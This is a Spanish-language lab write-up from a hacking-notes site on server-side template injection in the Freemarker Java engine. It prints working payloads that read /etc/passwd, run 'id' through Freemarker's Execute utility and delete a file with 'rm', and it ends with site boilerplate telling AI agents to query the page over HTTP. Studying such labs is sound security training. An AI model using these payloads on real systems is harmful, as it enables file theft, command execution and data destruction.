> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI usando la documentación del motor de plantillas de Java

### Inyección de plantillas del lado del servidor usando documentación

Este laboratorio presenta una vulnerabilidad **SSTI**. El objetivo es identificar el motor de plantillas utilizado, consultar su documentación para entender cómo ejecutar código arbitrario y luego eliminar el archivo moral. txt en el directorio Carlos. / Las credenciales proporcionadas son: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="/files/3fa663c493386778a46de99297910287c80921af" alt=""><figcaption></figcaption></figure>

### **Análisis de la plantilla**

En los comentarios, el motor proporciona una expresión:

* Prueba simple :

```java
${7*7}
```

<figure><img src="/files/630a903e248a18ecfc261dfbba8b7e5f2b3902cf" alt=""><figcaption></figcaption></figure>

* Un error revela que el motor utilizado es **Freemarker (Java)**.
* Una nueva expresión como `${7*a}` confirma la interpretación de la plantilla.

```java
${7*a}
```

<figure><img src="/files/cf813f6e5ccf4f35f905e6a1289063f219bb64e2" alt=""><figcaption></figcaption></figure>

#### **Lectura de archivos**

Para leer el archivo /etc/passwd, se utilizan los métodos accesibles a través del objeto:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="/files/d8ae648c28dfdd04cf53b69af396a866197959ad" alt=""><figcaption></figcaption></figure>

#### **Ejecución de comandos**

Freemarker permite invocar `Ejecutar` la utilidad:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="/files/c0eb1b7ec1b2ae3695a922dc4930c6b76da73afe" alt=""><figcaption></figcaption></figure>

#### **Archivo objetivo eliminado**

Para eliminar moral.txt del directorio Carlos:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
